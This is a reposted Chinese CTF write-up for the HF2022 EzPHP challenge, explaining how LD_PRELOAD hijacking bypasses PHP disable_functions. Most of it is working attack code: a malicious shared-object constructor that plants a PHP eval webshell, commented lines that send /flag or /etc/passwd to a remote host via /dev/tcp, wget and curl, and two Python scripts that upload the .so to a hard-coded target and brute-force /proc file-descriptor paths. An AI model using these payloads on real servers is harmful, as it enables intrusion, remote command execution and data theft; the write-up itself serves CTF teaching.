当前位置:网站首页>HF2022-EzPHP reproduction
HF2022-EzPHP reproduction
2022-07-30 22:55:00 【[email protected]】
1、前置知识
1.1 LOAD_PRELOAD用法
- 程序的链接
- 静态链接(When the program is compiled, the linked library is loaded into it)
- 动态链接 It can be divided into load-time dynamic linking and runtime dynamic linking,The former scenario is linked when the program is loaded into memory,The latter scenario is what libraries are linked when the program needs what libraries during runtime
LOAD_PRELOAD
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为
LD_PRELOAD
>LD_LIBRARY_PATH
>/etc/ld.so.cache
>/lib
>/usr/li
Since the program is dynamically loading the linked library at runtime,If you let the program load a malicious file,Then you can hijack the operation of the program,从而可以绕过disable_function,执行命令
1.2 恶意.so文件的构造
evil.c
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
/* 1、写一个shell文件 system("echo \"<?php eval(\\$_REQUEST[cmd]);?>\" > /var/www/html/shell.php"); 注意$An escape character is required in front,Otherwise it will be recognized as a variable identifier on the command line 2、读取flag system("cat /flag > /var/www/html/flag"); 3、反弹shell或者curl、wget外带 system("bash -c 'cat /flag' > /dev/tcp/vps/port"); wget --post-file=/etc/passwd addr curl -F [email protected]/etc/passwd addr */
生成.so文件命令
gcc -shared -fPIC 1.c -o 1.so
Construct larger binaries,通过在一个soAppend dirty characters to the end of the file
var=`dd if=/dev/zero bs=1c count=500000 | tr '\0' 'c'`
echo $var >> 1.so #需要echo一下,直接$var>>1.so会卡死
nginx -t #可以看niginx的配置文件位置
2、上传so文件,进行load_preload劫持
gen_tmp.py
from threading import Thread
import requests
import socket
import time
port = 28135
host = "1.14.71.254"
def do_so():
data = open("1.so", "rb").read()
packet = f"""POST /index.php HTTP/1.1\r\nHOST:{
host}:{
port}\r\nContent-Length:{
len(data) + 11}\r\n\r\n"""
packet = packet.encode()
packet += data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(packet)
time.sleep(10)
s.close()
if __name__ == "__main__":
do_so()
brute.py
import requests
from threading import Thread
port = 28135
host = "1.14.71.254"
def ldload(pid, fd):
sopath = f"/proc/{
pid}/fd/{
fd}"
print(sopath)
r = requests.get(f"http://{
host}:{
port}/index.php", params={
"env":f"LD_PRELOAD={
sopath}"})
return r
if __name__ == "__main__":
# ldload(20, 20)
for pid in range(12, 40):
for fd in range(1, 40):
t = Thread(target=ldload, args=(pid, fd))
t.start()
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/211/202207302246384307.html
边栏推荐
猜你喜欢
【微信小程序】小程序突破小程序二维码数量限制
WSL安装图形界面并通过xrdp/X-Launch访问
MySQL索引常见面试题(2022版)
ThinkPHP高仿蓝奏云网盘系统源码/对接易支付系统程序
MySQL联合查询(多表查询)
OpenCV笔记(二十):滤波函数——filter2D
微软商店出现【0x800706D9】解决方法
cmd (command line) to operate or connect to the mysql database, and to create databases and tables
2sk2225 Substitute 3A/1500V Chinese Documentation【PDF Data Book】
Chapter 8 Intermediate Shell Tools II
随机推荐
1064 Complete Binary Search Tree
“蔚来杯“2022牛客暑期多校训练营4 DHKLN
MySQL进阶sql性能分析
【Summary】机器人方法汇总
“由于找不到MSVCP140.dll,无法继续执行代码,重新安装程序可能会解决此问题等”解决方案
一文详解:SRv6 Policy模型、算路及引流
设备树的引入与体验
2022.7.28
d使用among的问题
只会纯硬件,让我有点慌
宁波中宁典当转让29.5%股权为283.38万元,2021年所有者权益为968.75万元
# # yyds dry goods inventory interview will brush TOP101: to determine whether there is a part of the list
力扣题(3)—— 无重复字符的最长子串
vulnhub靶机AI-Web-1.0渗透笔记
Py之pdpbox:pdpbox的简介、安装、案例应用之详细攻略
MySQL 5.7 detailed download, installation and configuration tutorial
A detailed explanation: SRv6 Policy model, calculation and drainage
【Untitled】
【无标题】
“蔚来杯“2022牛客暑期多校训练营2 H.Take the Elevator